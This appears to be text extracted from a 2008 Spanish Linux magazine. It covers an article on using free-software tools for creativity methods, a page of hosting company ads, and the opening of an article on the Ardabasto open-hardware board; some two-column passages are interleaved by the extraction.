Si comparamos el uso de nuestro tiempo con digamos cinco años atrás, descubriremos que pasamos más horas delante de un ordenador que lo que lo hacíamos entonces. Bastante tiene que ver la convergencia de tecnologías, hoy no sólo lo usamos para redactar informes, hacer control de bolsa, escribir cartas y matar marcianos sino que vemos la televisión o estrenos de cine, organizamos e imprimimos nuestras fotografías, escuchamos radio o nuestros temas musicales preferidos. Por otra parte la reducción de costos, los cambios políticos y económicos en muchos países del tercer mundo pusieron los ordenadores al alcance de más gente, mientras que la aparición de la web 2.0 hizo que el mail, el chat y la telefonía voip relegaran al correo y al teléfono al arcón de los recuerdos. La misma tarea escolar que a nosotros nos requería varias horas de biblioteca los escolares de hoy la resuelven con Google y la Wikipedia.

76

P

ero que la usemos más no significa que la usemos bien. De nada sirve que las empresas pongan una dirección de mail de atención al consumidor si no los leen ni contestan los reclamos, no existe ninguna diferencia entre copiar una respuesta de un libro de texto o de una página web si no relacionamos conceptos, no lo relacionamos con lo que sabemos ni hacemos aportes. Se dice que apenas usamos una parte ínfima del potencial de nuestro cerebro y desde hace tiempo se vienen creando técnicas que permitan aumentar nuestro rendimiento intelectual, el objetivo de este artículo es explicar cómo se pueden usar esas técnicas con la ayuda del ordenador y el uso del software libre para ser más creativos. Aclaremos dos cosas. La creatividad suele asociarse con lo artístico, pero en realidad se aplica a todos los ámbitos del quehacer humano aun a los menos glamorosos. En otras palabras no esperen encontrar instrucciones sobre cómo construir una Venus de Milo con piezas de hardware, estoy seguro que resultaría muy decorativo pero algo incómodo a la hora de tener que mandar un mail. El segundo punto tiene que ver con una cuestión que solemos ver en los foros de usuarios. Algunas personas que

Linux+ 9/2008

utilizan software para usos específicos (diseño asistido por ordenador, retoque fotográfico, cálculos estadísticos) suele quejarse de que no encuentra equivalentes en Linux de los programas que utilizaba en su anterior sistema operativo. Es necesario entender que aun cuando el movimiento del software libre nació a mediados de los ochenta, y Linux en los noventa, recién comenzaron a hacerse masivos hace 4 ó 5 años. La aparición de nuevos usuarios con nuevas necesidades sin duda será el disparador para la aparición de nuevos programas de mejor calidad. Digo esto porque seguro que alguien va a mencionar la existencia de herramientas de software que hacen mucho mejor lo que sugiero que los programas que yo propongo. Es cierto y algunas tienen versiones Linux, pero hay que pagar licencias y la propuesta de este artículo es arreglarse con lo que tenemos en los repositorios y sin gastar dinero.

¿Qué es ser creativo?

Decíamos que ser creativo no se limita a lo artístico, ser creativo es encontrar una solución diferente a un problema o encontrar un uso distinto a las cosas de todos los días. El conde Sandwich hizo poner lonchas de carne entre rebanadas


práctica Aumentando nuestra creatividad de pan para no levantarse de la mesa de juegos. que aprovechar. Se nos puede ocurrir vender Linus Torwalds creó el núcleo Linux utilizando ordenadores pintados de violeta pero eso no herramientas del proyecto GNU. significa ser creativo en tanto no le cambia nada a nadie, a menos que sea como respuesta a una ¿Cómo ser creativos moda de casas con paredes pintadas de ese cocon nuestro ordenador? lor y nuestro objetivo haya sido que armonizara En un artículo sobre el método científico Isaac con el ambiente. Pero además el desafío debe Asimov comentaba que muchos descubrimientos ser algo que al menos en teoría esté a nuestro científicos se encontraron por casualidad, y en alcance. Dos ejemplos: ocasiones hallándose sus descubridores fuera del Que yo viaje a la Luna es algo que está laboratorio y dedicados a actividades completa- dentro de lo posible, aún cuando no hablo mente diferentes. Pero a continuación aclaraba: inglés, mi estado físico es lamentable, uno de ¿Quiere decir esto que a fin de cuentas todo es los grandes misterios de la naturaleza es cómo cuestión de suerte y no de cabeza? No, no y mil aprobé física en el colegio secundario, y mis veces no. Esta clase de suerte sólo se da en los ahorros no alcancen para un viaje en bus dentro mejores cerebros; sólo en aquellos cuya intuición de Buenos Aires. Con un poco de imaginación es la recompensa de una larga experiencia, una son obstáculos que podrían vencerse. comprensión profunda y un pensamiento discipliSalvar a una persona enferma de cáncer a nado. Con la creatividad sucede lo mismo, mu- la que le queda una semana de vida por muchas veces podemos tener inspiraciones súbitas chas técnicas de creatividad que utilice es algo pero si estimulamos el músculo creativo aplican- completamente fuera de mi alcance. No soy do una metodología y las técnicas disponibles, médico, no soy farmacéutico, con la química las posibilidades de tener esas inspiraciones me pasó lo mismo que con la física, no se me aumentarán. No hay una receta única, el método dan demasiado bien los milagros, y ciertos tipos que propongo es una adaptación de la adaptación de cáncer tomados demasiado tarde ni siquiera que hizo un autor del método desarrollado por pueden ser curados por los especialistas. otro autor, el lector puede adaptarla de la manera que le resulte más útil; puede hacer el cuarto paso Segundo paso: Buscando información después del primero, utilizar la técnica de los 6 Una vez definido el desafío comenzamos la sombreros donde yo propongo un brainstorming búsqueda de información que nos permita enteno inventar su propia técnica, o usar papel y lápiz derlo y nos ayude a resolverlo. No es necesario en lugar de un ordenador. ni aconsejable en esta etapa perder tiempo en organizarla, eso lo hacemos en el paso siguiente. Un método En Linux tenemos dos herramientas muy útiles de pensamiento creativo para esta etapa :Tomboy e Incollector. Tomboy, El método de pensamiento creativo lo podemos incluido por defecto en los escritorios Gnome dividir entre varios pasos: nos permite organizar nuestras notas a partir de una nota original en la cual podemos incluir Primer paso: El desafío enlaces hacia otras notas. Supongamos que mi Para ser creativos necesitamos un objetivo; un objetivo es viajar a Dinamarca (recuerden que problema que solucionar o una oportunidad estoy en Buenos Aires):

Alojamiento

Requisitos legales

VIAJE A DINAMARCA

Lugares a visitar

Medios de transporte

Figura 1. Viaje a Dinamarca

www.lpmagazine.org

• •

• •

• • •

• •

Vamos al menú Aplicaciones – Accesorios - Tomboy. Dentro de Tomboy hacemos clic en Cuaderno de Notas Nuevo, se nos abrirá una pestaña que nos pedirá el nombre del cuaderno. Escribimos Viaje a Dinamarca. Llevamos el puntero al título Viaje a Dinamarca que aparece en la columna de la izquierda y con el botón derecho seleccionamos nota nueva. En la ventana que se abre cambiamos el titulo por Viaje a Dinamarca. Le damos enter y escribimos Requisitos legales. Seleccionamos el texto con el cursor y con el botón derecho hacemos clic en enlazar nota nueva. Se abrirá una nota con el título Requisitos legales. La misma operación podemos repetirla para: • Medios de transporte • Lugares a visitar • Costos A medida que vamos recopilando información la vamos almacenando en las notas correspondientes. La segunda her-ramienta que recomendamos es Incollector, que nos permite guardar todo tipo de información en formato texto clasificándola en categorías. Una vez instalado vamos a Aplicaciones – Accesorios - Incollector. Hacemos clic en Añadir Entrada, se nos abre un formulario. En la ventana superior seleccionamos Nota: • Título: Cosas que hacer. • NOTA: Sacar pasaporte, averiguar si necesito visa, ver si aceptan mi tarjeta de crédito, averiguar sobre posibilidades de alojamiento. Pedir información sobre lugares turísticos. • Información de la entrada • Etiquetas: Dinamarca, requisitos • Clasificación: aquí podemos elegir entre una, dos o tres estrellas, yo elijo una porque es la nota principal.

Tabla 1. Escogiendo la mejor opción Criterio 1

Criterio 2

Criterio 3

Criterio 4

Idea 1

5

-5

0

0

Idea 2

5

5

0

0

Idea 3

0

0

5

-5

Idea 4

-5

5

-5

-5

77


práctica Aumentando nuestra creatividad También podemos utilizar las otras opciones, por ejemplo en la opción Sitio Web podemos escribir los links de los hoteles poniendo como etiquetas Dinamarca, hoteles. En la opción Número de serie, nuestro número de pasaporte y en la opción alabras, una lista de palabras danesas que nece Psitamos conocer. Siempre teniendo en cuenta de poner como primera etiqueta Dinamarca.

Tercer paso: Ordenando la información Todos sabemos lo que es un mapa: es una representación a escala de la forma, tamaño y ubicación de los diferentes países. Para poner en orden la información recopilada vamos a usar un Mapa Mental. Esta útil herramienta desarrollada por Tony Buzán nos permite representar gráficamente las relaciones que establecemos en nuestra mente entre los diferentes conceptos. Los mindmapping son útiles tanto para tomar notas de información existentes como para generar ideas nuevas. Los repositorios de Ubuntu ofrecen dos opciones a la hora de hacerlos, Vym y Kdissert, nosotros vamos a usar el primero. Una vez instalado vamos al menú Aplicaciones – Educación - Vym. Se nos abrirá una ventana con el título Nuevo Mapa, hacemos doble clic y escribimos Viaje a Dinamarca, a continuación de ese título vamos a incluir las tareas principales. En el título del mapa hacemos clic con el botón derecho y seleccionamos Adicionar – Crear Rama como Hija y escribimos Requisitos Legales; apretamos enter. Haciendo clic una sola vez en el título podemos mover la posición del nodo, haciendo dos veces podemos cambiar el título. Volvemos a hacer clic en el título del mapa y seguimos agregando ramas. Un complemento útil de los mapas mentales es la posibilidad de incluir

imágenes que a nuestro criterio reflejen las ideas del mapa. Por ejemplo la idea de requisito legal a mí me recuerda a la justicia, el símbolo de la justicia es la balanza que a su vez es el símbolo del signo de libra, busco entonces la imagen de libra en Internet, la descargo en el ordenador, llevo el puntero a Requisitos legales, hago clic una vez y con el botón derecho selecciono Add Image (hay que aclarar que vym está traducido al castellano en un estilo Yo Tarzán tu Jane). Para adicionar subramas simplemente seleccionamos la rama y repetimos el proceso. Entre sus opciones vym nos permite exportar los mapas en diversos formatos gráficos y de textos, cambiar las formas y los colores. Dijimos antes que si bien nosotros usábamos el mindmapping para organizar la información también podía usarse para generar ideas nuevas. Hay que tener en cuenta que en este caso debe ponerse un límite de tiempo a la confección del mapa, pongamos 20 minutos si recién empiezas y de 10 a 15 si ya tienes práctica. Un ejemplo, tomando nuestro proyectado viaje a Dinamarca, poneos como título del mapa el nombre Dinamarca y en las ramas ponemos las asociaciones libres que se nos ocurren. En mi caso:

Cuarto paso: Generando ideas En nuestro mapa mental vemos que tenemos varias cosas de que ocuparnos, con el tema de los requisitos no podemos hacer demasiado, (asumiendo que queremos entrar de manera legal) pero en materia de alojamiento, forma de transporte y excursiones las opciones son muchas. Tal vez la herramienta de creatividad más conocida por el gran público sea el brainstorming, traducible literalmente como tormenta de ideas. Se trata de generar la mayor cantidad de ideas posibles en un lapso de tiempo determinado sin emitir ningún juicio crítico sobre ellas. Por ejemplo si en el curso de un brainstorming sobre cómo viajar a Dinamarca alguien propone alquilar un camello la idea debe ser anotada, no se puede interrumpir el ejercicio para recordarle que: • • •

Para eso está el paso siguiente que es el de Dinamarca: Hamlet, olor a podrido, man- evaluación. El brainstorming como dijimos teca antes tiene un límite de tiempo, pongamos de • Hamlet: Shakespeare, calavera 5 a 10 minutos, y un objetivo, generar la ma• Calavera: Cementerio yor cantidad de ideas posibles, es por eso que • Cementerio: Terror si no eres demasiado rápido como mecanógra• Terror: Edgar Allan Poe fo utiliza lápiz y papel. Para anotar las ideas generadas puedes utilizar el editor de textos, Estudiando el mapa mental se me ocurre que el openoffice.org, o el editor de notas de Vym, una manera de entretenerme en el largo viaje en Vista Show Note Editor. Para controlar el avión es llevarme el tomo de las obras comple- límite yo utilizo una herramienta muy útil tas de Edgar Allan Poe. llamada Workaholic que cuando se cumple un lapso de tiempo determinado nos muestra una pantalla que nos impide seguir trabajando con el ordenador. Una vez instalado hacemos clic en Aplicaciones – Accesorios - Work-acoholic, eso nos hará aparecer un icono en la barra superior. Con el botón derecho seleccionamos Preferencias – Break Duration: es el tiempo de duración de la pausa, para nuestros fines es indistinto. Start Break es el tiempo que va a tardar en saltar la ventana de aviso de pausa, pongamos 11 minutos si somos novatos con el ejercicio y 6 si tenemos más experiencia. Las otras opciones tienen que ver con los sonidos de aviso de inicio y final de la pausa. Recordemos las 4 cosas que hay que tener en cuenta en un brainstorming: •

• • • •

Figura 2. Planeando un viaje a Dinamarca

78

En Buenos Aires los únicos camellos están en el zoológico Son muy incómodos Solamente disponemos de 15 días de vacaciones

Linux+ 9/2008

Está terminantemente prohibida toda crítica Toda idea es bienvenida Debe ponerse un límite de tiempo Cuantas más ideas mejor


práctica Aumentando nuestra creatividad Quinto paso: Evaluación de alternativas Si en la etapa anterior dejamos volar nuestra imaginación, aquí llega el momento de poner los pies en la tierra. Viajar a Dinamarca en camello salta a la vista como algo descabellado, pero hay otras ideas cuya impracticabilidad no se nota hasta un análisis más detallado. Ir en avión parece lo más lógico, hasta que comparamos el precio del pasaje con lo que tenemos ahorrado. Viajar en un barco pesquero como tripulante está a nuestro alcance pero la duración del viaje excede largamente el tiempo que tenemos de vacaciones. Para este tipo de análisis resultan muy útiles las tablas. No conozco ningún software específico para este tipo de trabajo pero las planillas de cálculo resultan ideales, aunque también podemos crearlas con el procesador de textos. Yo voy a usar gnumeric. Supongamos que del paso anterior seleccionamos 4 ideas: • • • •

Viajar en avión (primera clase) Viajar en avión (clase turista) Viajar en un trasatlántico (primera clase) Viajar en un barco pesquero como tripulante

Y que tenemos 4 restricciones, las restricciones tienen que ver con los dos ejemplos que dábamos del viaje a la luna y el enfermo de cáncer, hay cosas que podemos hacer y otras que no. En nuestro caso: • • • •

Sólo podemos dedicar dos días al viaje de ida Solamente podemos gastar 500 pesos en el viaje Queremos viajar cómodos Nos mareamos con facilidad

• • •

Valor 5: Cumple el objetivo Valor 0: Indiferente Valor -5: No lo cumple

Veamos la Tabla 1. Viajar en primera clase cumple con el objetivo de viajar en el plazo que necesitamos, no cumple con el objetivo de costos, y no sabemos si nos podemos marear o no. Viajar en turista cumple el requisito del tiempo, cumple el requisito económico, no es cómodo pero tampoco incómodo, es posible que nos mareemos. Viajar en primera clase de un trasatlántico no cumple el requisito del tiempo, no cumple el requisito económico, cumple el requisito de la comodidad, tenemos altas posibilidades de marearnos. Por último viajar en un pesquero no cumple el requisito tiempo, cumple el requisito económico, no cumple el requisito comodidad, y tenemos muchas posibilidades de marearnos. Sumando las filas nos damos cuenta que la opción más conveniente es viajar en clase turista, en avión (y la menos conveniente es enrolarnos en un barco pesquero). Insisto con que las técnicas de creatividad no son un libro de recetas de cocina, sino más bien como una caja de esos ladrillos de colores con los que jugábamos de chicos construyendo lo que nos viniera en gana. Yo usé 3 valores numéricos, podría haber usado una escala de 1 a 10, yo determiné la opción que más me convenía sumando las filas, podría haber puesto una fórmula que estableciese la importancia relativa de cada criterio, por ejemplo que el factor económico es más importante que el factor comodidad pero 1/3 menos importante que el factor tiempo y eso hubiera alterado el resultado. Podría no haber usado valores numéricos sino

caras tristes, alegres o indiferentes, o un código de colores. O podría ganarme la lotería y estar ansioso de experiencias, lo que haría desaparecer al criterio costos y entrar el criterio novedad, en ese caso enrolarme en el pesquero podría ser la opción preferida. Usar técnicas de creatividad no garantiza que vamos a tomar la decisión correcta, simplemente nos da la posibilidad de considerar opciones que metidos en la rutina de todos los días y en el todo el mundo hace/no hace/dice pasamos por alto. Yo empecé la descripción de la metodología dando un desafío establecido, el viaje a Dinamarca, y desarrollé por una cuestión de espacio, una sola ramificación, los medios de transporte, pero podría haber arrancado el proceso antes, por ejemplo haciendo un mapa mental para ver en qué ocupar mis vacaciones, y una vez decidido la opción del viaje hacer un brainstorming sobre lugares de vacaciones y seleccionado Dinamarca por medio de la matriz de criterios de decisión. O podría tener en claro que mis opciones eran irme de viaje, o quedarme en casa, y que la primera sea la opción ganadora en la matriz de criterios de decisión, luego un mapa mental para ver adonde ir y un brainstorming para ver qué es lo que quiero hacer una vez allí.

Otras técnicas

A continuación se presentarán otras técnicas, todavía no mencionadas en el texto.

Los 6 sombreros Desarrollada por Edward de Bono esta técnica nos permite considerar los problemas de di-

Nota: teniendo en cuenta que ésta es una revista de informática y no de viajes, me perdonarán que los datos que puse sean absolutamente arbitrarios y alejados de la realidad. Armamos la matriz. En la columna A desde A2 a A5 colocamos las opciones. En la fila 1 a partir de B colocamos los criterios; en la intersección fila-columna vamos asignando valores de la siguiente forma:

Figura 3. Los seis sombreros

Figura 4. Añadimos una estrada nueva en Incollector

www.lpmagazine.org

79


práctica Aumentando nuestra creatividad ferentes ángulos, según el sombrero que nos rojo) anoto mis ansias de hacer un viaje y mis calcemos (metafóricamente hablando): simpatías con los vikingos. En la nota negra (sombrero negro) anotamos mi desconocimiento • Si me pongo el sombrero blanco analizo del idioma, el mal clima, lo desfavorable del las cosas de forma objetiva. cambio. En la nota amarilla (sombrero amarillo) • Si me pongo el sombrero rojo analizo las anotamos que en todas partes hay un argentino cosas con los sentimientos. que me puede traducir, que los empleados que • Si me pongo el sombrero negro analizo las tratan con los turistas hablan varios idiomas, cosas de manera pesimista. que fijándome bien lo que compro puedo hacer • Si me pongo el sombrero amarillo analizo rendir el dinero y que no es lo mismo tener mal las cosas de manera optimista. tiempo trabajando que estando de viaje. En la • Si me pongo el sombrero verde analizo las nota verde (sombrero verde) anotamos formas cosas de manera creativa. creativas de solucionar el problema del idioma • Si me pongo el sombrero azul trato de or- (¿carteles con dibujos que representen lo que ganizar el proceso de pensamiento. queremos?), y del mal tiempo (¿diarios entre la ropa y el cuerpo?). En la nota azul (sombrero Para reemplazar los sombreros yo utilizo la azul) ponemos orden y analizamos lo generado herramienta Notas Adhesivas de Gnome: con los demás sombreros. •

Llevamos el puntero a la barra superior y con el botón derecho seleccionamos Añadir al panel. En el símbolo de Notas Adhesivas hacemos doble clic. Repetimos la operación 5 veces más. Elegimos una de las notas, llevamos el puntero a la barra superior donde figura la fecha y hacemos clic con el botón derecho en Propiedades. Como título podemos poner sombrero rojo, el nombre del tema que vamos a analizar o dejarlo así. Desmarcamos Usar el color predeterminado y elegimos fondo color rojo y un color de tipografía que se vea. Repetimos la operación para los otros sombreros.

• • •

Tomemos nuestro ejemplo del viaje a Dinamarca. En la nota blanca (sombrero blanco) anotamos el costo, el tiempo del viaje, el tiempo que tengo de vacaciones. En la nota roja (sombrero

En la red • • • • • •

80

Tomboy: http://www.gnomefiles.org/app.php/ Tomboy Incollector: http://www.incollector.devnull.pl/ Vym (view your mind): http://www.insilmaril.de/vym/ Workaholic: http://mundogeek.net/workaholic/ Basket: http://basket.kde.org/ Inkscape: http://www.inkscape.org/

Creatividad e Internet

En una de las primeras novelas de Conan Doyle, el Dr. Watson se sorprende de que Sherlock Holmes no supiera que la Tierra gira alrededor del Sol, y se sorprende aún más cuando el detective le asegura que ahora que lo sabe hará todo lo posible por olvidarlo. Holmes sostiene que el cerebro tiene una capacidad limitada y que el espacio que se ocupa con un dato irrelevante no está disponible para los datos que sirven. La realidad es que como dice el refrán el saber no ocupa lugar y que nuestro cerebro es capaz de almacenar una enorme cantidad de información. Cuanto más aprendemos podemos generar más ideas construir mejores metáforas y analogías y establecer asociaciones. Con la ayuda de Internet y herramientas como Incollector, podemos ir acumulando y categorizando información que de manera consciente o inconsciente nos servirá a la hora de poner en marcha el proceso creativo. Lo ideal es dedicar una determinada cantidad de tiempo (15 días o un mes por decir algo) a leer sobre un determinado tema que no se relacione directamente con nuestra área de interés y ver cómo podemos relacionarlo con los desafíos que se nos presentan. Para eso podemos aplicar las siguientes técnicas:

Trae una advertencia sobre los perjuicios para la salud

Supongamos que queremos sacar una revista de software libre aplicando esas características: • •

Sacarla de un tamaño que haga cómodo el guardarla cuando no se esté leyendo Vender una versión que solamente incluya las secciones de programación, para quienes sólo les interesa ese tema Poner en la tapa una advertencia que diga La lectura de esta revista es perjudicial para Microsoft.

Relaciones Forzadas En este caso se trata de tomar las características de un objeto adaptándolo a otro, nuestro ejemplo será el Arcoiris: • • • •

No se sabe donde empieza ni donde termina Tiene siete colores No se puede decir cuando aparecerá Si llueve y hay sol al mismo tiempo se sabe que aparece

Apliquémoslo a la revista: • • • •

No poner tapa ni contratapa Identificar las diferentes secciones con un color No pautar las apariciones de acuerdo a un intervalo preestablecido de tiempo Hacer coincidir las apariciones con algún acontecimiento cuya ocurrencia no pueda preveerse de antemano.

Palabras finales

Con este artículo apenas arañamos las posibilidades de la utilización del ordenador en un método creativo para la resolución de problemas o el aprovechamiento de oportunidades, una vez más vuelvo a la advertencia del principio, el método que describí no se trata de una receta infalible ni del undécimo mandamiento, las posibilidades de las que hablé son apenas una ínfima parte de lo que puede hacer nuestro ordenador para ayudarnos a pensar. Analogías Existen herramientas como Basket que Se trata de aplicar a un objeto o situación las permite hacer lo mismo que Tomboy pero características de otro objeto o situación. Por agregando imágenes, con otros programas ejemplo un paquete de cigarrillos: como Impress podríamos hacer mapas mentales con elementos multimedia o trabajar • Su tamaño cabe en un bolsillo de manera conjunta con gente de diferentes • Viene en presentaciones de 10 y 20 unida- lugares del mundo utilizando la pizarra blanca des de Inkscape.

Linux+ 9/2008


Club Pro COMALIS

Tedinet

Gestión Cuatrocientos

IBERONET INTERNET SL

Zone Web S.L.

Igarcom Internet

www.comalis.com Alojamiento de páginas web desde 1,99€/mes y registro de dominios. El dominio es gratuito por la contratación de cualquier plan de alojamiento. Comalis ofrece soluciones web a su medida, con toda la seguridad y el servicio de un registrador acreditado por ESNIC, ICANN y EURID.

www.gestion400.com Gestión cuatrocientos ofrece un completo catálogo de aplicaciones para la gestión de la Administración Local sobre plataforma Linux. También es la responsable del proyecto de código abierto OpenXava (http://www. gestion400.com/openxava), un marco de trabajo Java para desarrollo rápido de aplicaciones J2EE.

http://www.zoneweb.biz Satisfacer las necesidades y solucionar los problemas de nuestros Clientes, son los principales objetivos de Zone Web. Para ello ponemos a su disposición un servicio integral que garantiza una respuesta realista y eficaz basadas en las grandes posibilidades que ofrece el software Libre

Díganos lo que necesita y se lo daremos

www.frslsa.es En FR Servicios Logísticos, definimos nuestra oferta como un servicio de gestión de logística integral. Y lo definimos así, porque una vez el producto está listo para ser comercializado, en FR nos encargamos de todo lo demás.

www.tedinet.com Tedinet es una empresa especializada en dar soluciones basadas en software libre para pequena y mediana empresa. Soluciones robustas y fiables para que las empresas no tengan que preocuparse de la informática y puedan dedicarse a su negocio.

www.iberonet.es Registro de dominios y hosting desde 1.999. Alojamiento compartido o dedicado bajo linux,marca blanca para distribuidores y webmasters, monitorización 24 h, PHP, MySQL, Perl, antivirus, antispam y un gran caudal de trafico mensual. Una continua atención personal y miles de clientes nos avalan.

www.igarcom.com Igarcom Internet sl es un registrador oficial .ES y colabora con el Centro de Alerta Temprana Antivitus de INTECO. Entre los servicios que ofrecemos están alojamiento web compartido, servidores dedicados y housing desde nuestros propios servidores, situados en el Centro de Datos Banesto en Madrid

Soluciones en Software Libre y GNU/Linux

www.inittab.com Formación, consultoría, soporte técnico y mantenimiento de servidores. Cursos a medida de Linux, Apache, Mysql, Samba y seguridad. Su departamento de sistemas en manos de expertos en Software Libre. Instalación de servidores de ficheros/impresión, web/correo, Intranet.


hardware Ardabasto

Plataforma de procesado distribuido open-hardware Lino García Morales

linux@software.com.pl

Ardabasto es un proyecto open-hardware de bajo coste (tanto su diseño como su distribución es libre) que expande el potencial de sus predecesores: Arduino y Wiring, hacia los sistemas multiproceso distribuidos. Desde el punto de vista funcional consta de tres módulos o partes: principal o base, complementos y expansores.

82

E

l módulo principal de proceso, mostrado en la Figura 1, es sencillo y barato, y puede ser montado por cualquiera sin grandes sobresaltos, a la vez que potente. Se basa en el chip Atmega168 y ofrece entradas y salidas (E/S) analógicas y digitales, múltiples protocolos de comunicación y un entorno de desarrollo gratuito, basado en Processing, que implementa un lenguaje de programación basado en Wiring/Arduino. Estas características lo convierten en candidato ideal para aplicaciones de arte y tecnología, educación, domótica, prototipado rápido, etc. Un solo módulo es capaz de realizar múltiples tareas básicas como la de leer un número determinado sensores, o controlar un grupo de actuadores en base a algún tipo de algoritmo o proceso de control. Sin embargo, su capacidad no es suficiente para abordar el diseño de sistemas complejos: con un gran número de sensores de entrada, actuadores de salida y potentes algoritmos de supervisión y control. La solución pasa por dos estrategias: la primera, utilizar sistemas de mayor capacidad (mucho más caros) y la segunda por invertir el procedimiento de divide y vencerás (o quizá más apropiado: en la unión está la fuerza). Este segundo enfoque tiene una ventaja adicional y es que, al dividir la solución del problema en la solución de muchos

Linux+ 9/2008

subproblemas, se descentralizan o distribuyen los recursos del sistema: capacidad de proceso, memoria, interfases, etc. Esta descentralización o distribución de procesos es más inmune a fallos, facilita las labores de expansión y mantenimiento, permite una organización óptima de los recursos, a la vez que permite realizar sistemas muy complejos compuestos de muchos subsistemas mucho más simples.

¿Por qué Ardabasto?

El proyecto Arduino, del que parte Ardabasto, ha sido del todo un acierto; reconocido no sólo por una amplia comunidad de usuarios, instituciones y artistas en todo el mundo, recibió también una mención honorífica en la sección Digital Communities del 2006 Ars Electronica Prix. Existen alrededor de once proyectos derivados de Arduino que, de alguna manera, mejoran o aportan nuevas funcionalidades no incluidas en la versión inicial: Diecimila (última versión USB de la placa), NG y USB son versiones basadas en el bus de comunicación serie (tan consolidado en el mundo informático); Serial y Serial Single Sided utilizan RS232 como interfase; Mini , Mini USB Adapter y LilyPad son soluciones que apuestan por el tamaño; Prototyping es una solución orientada al prototipado rápido;


hardware Ardabasto Bluetooth sustituye los cables de conexión por un estándar de transmisión sin hilos (cada vez mejor soportado en los ordenadores personales y electrónica de consumo) e inclusive existe una solución Standalone que permite utilizar el chip Atmega8 en una placa final o prototipo utilizando sólo las partes necesarias para determinada solución. Ardabasto redirige su potencia en otro sentido: la interconectividad. La placa base, además de ofrecer el ya estándar de facto shield o expansor, agrega clemas de tornillo a todas las señales (muy útil para montajes industriales y prototipado), componentes nuevos: zócalo para memoria EEPROM de 8x1K (sustituible por 8x128K); reloj de tiempo real (RTC), muy útil para aplicaciones que requieran una medida precisa del tiempo; sensor de temperatura; dos conectores RJ11 de 6 pines que dan acceso al bus I2C, alimentación y tierra (con un sistema de alimentación revisado que permite obtener hasta 1,5A con protección de polaridad). Esto último permite agregar a la placa (a modo de complementos, plugin hardware o gadgets) cualquier dispositivo: sensor, actuador, procesador o módulo de comunicación de una forma sencilla y segura. Además, el módulo básico incluye un puerto USB (lo que permite conectar Ardabasto a cualquier ordenador y usarlo de inmediato). Sin embargo, la verdadera potencia de Ardabasto está en la expansión I2C y los complementos enchufables a ella.

Expansión I2C El bus I2C (abreviatura de Inter-IC (Inter Integrated Circuits) es un estándar de comunicación de datos síncrono serie, diseñado por Philips, que permite el intercambio de información entre muchos dispositivos (microcontroladores, memorias y otros dispositivos con cierto nivel de inteligencia), a una velocidad de 100 Kbps, (aunque hay casos especiales en los que el reloj llega hasta los 3,4 MHz). Una característica muy atractiva de este bus es que sólo requiere dos líneas de señal y una común o masa. Otro aspecto muy interesante es que existe un número muy elevado de dispositivos controlables vía una interfaz I2C (lo que posibilita la inclusión de prácticamente cualquier complemento al Ardabasto de manera directa) y es muy barato proveer conectividad I2C mediante un chip como el propio Atmega168 que sirva de pasarela al dispositivo.

Complementos

Un complemento es una especie de plugin hardware que permite extender la capacidad de entrada/salida de un módulo o compartir datos con otros módulos.

Comunicación

gía. RS232 y RS485 son probablemente los dos protocolos serie más utilizados en la industria. El primero es punto a punto y el segundo multipunto; ideal para transmitir a altas velocidades sobre largas distancias (35 Mbps hasta 10 metros y 100 Kbps en 1.200 metros) y a través de canales ruidosos. Ethernet es el protocolo más usado en el ámbito de las redes locales (LAN). Aunque su tecnología no es determinista su enorme ancho de banda (10 Mbps, 100 Mbps y 1000 Mbps) ha hecho posible su uso incluso en aplicaciones de control de procesos donde los requerimientos de tiempo de transmisión son críticos. ZigBee y Bluetooth son protocolos de comunicación inalámbricos. El ámbito objetivo principal del ZigBee es la domótica, debido a su bajo consumo, su sistema de comunicaciones vía radio (con topología de red y malla) y su fácil integración (se pueden fabricar nodos con muy poca electrónica) mientras que Bluetooth es más adecuado para la comunicación entre dispositivos móviles (teléfonos, ordenadores, etc.). Además del consumo (Bluetooth requiere conexión permanente) y los detalles topológicos de ambos se diferencian fundamentalmente por el ancho de banda. IrDA, por último, permite la comunicación bidireccional entre dos extremos a velocidades que oscilan entre los 9.600 bps y los 4 Mbps. Es soportado por una amplia gama de dispositivos eléctricos, informáticos y de comunicaciones.

La Tabla 1 muestra los complementos de comunicación disponibles para Ardabasto. MIDI y DMX son protocolos de comunicación relacionados con tecnologías multimedia y, por lo tanto, adecuados para aplicaciones de Arte y Tecnolo- Sensores Los sensores, también conocidos como transductores, permiten a un sistema con capacidad de proceso, interactuar con el medio. Un sensor es un tipo de transductor que transforma la magnitud que se quiere medir, en otra, que facilita su medida. En general se puede decir que es un dispositivo que aprovecha alguna de sus propiedades con el fin de adaptar la señal que mide para que la pueda interpretar otro elemento. Por ejemplo, el termómetro de mercurio aprovecha la propiedad que posee el mercurio de dilatarse o contraerse por la acción de la temperatura. Existe una gran variedad de sensores según la variable física que se quiera medir. Sin embargo, probablemente es más importante, incluso que el tipo de sensor a utilizar, la forma de comunicarnos con él: su interfaz. Por ello es de vital importancia utilizar sensores que podamos “enchufar” al sistema de proceso (por ejemplo I2C). La Tabla 2 lista ejemplos de los sensores.

Figura 1. Ardabasto. a Bus I2C, b Selector de dirección, c Sensor de temperatura, d Zócalo EEPROM auxiliar (hasta 128kB), e Buzzer, f Selector de buzzer, g Habilita grabación en EEPROM, h Selector de alimentación, i USB, j Fusible rearmable, k Conectores de alimentación externa, l LED indicador de encendido, m Alimentación de respaldo para reloj de tiempo real, n Selector de interrupción de tiempo real, z Selector de pull-up del bus I2C, o Reset, p Expansión compatible Arduino, q Expansión en clemas, r Atmel Atmega, s ICSP, t LEDs de propósito general.

www.lpmagazine.org

Actuadores Los actuadores permiten al sistema actuar sobre el entorno. En general son dispositivos que convierten algún tipo de energía en otra (eléctrica a mecánica por ejemplo). La Tabla 3 muestra algunos de los actuadores más utilizados. Una

83


hardware Ardabasto bomba (neumática o hidráulica, por ejemplo, es Sistema Distribuido un tipo de actuador normalmente basado en un En una red, cada elemento del sistema debe motor y es por ello que no aparece en la lista). tener una dirección única (para evitar ambigüedades). Esta dirección se puede configurar Procesadores mediante un DIP switch (véase Figura. 1) de El I2C se diseñó para conectar circuitos inte- 5 posiciones (lo que permite direccional 32 grados (ICs). Es un bus con múltiples maestros, módulos básicos). lo que significa que se pueden conectar varios Sin embargo, la extensión del lenguaje chips al mismo bus y que todos ellos pueden Arduino para el trabajo en entorno multiprocontrolar el tráfico, sólo con iniciar la trans- cesador se reduce a sobrecargar las funciones ferencia de datos. Esta característica permite de entrada/salida con un nuevo argumento crear sofisticados sistema de proceso distribui- dirección: add. do a partir de este bus, incrementar el número de recursos del sistema (número de entradas/ Digital I/O salidas analógicas/ digitales), crear pasarelas de comunicación (conectar un bus con otro), pinMode(add, pin, mode) 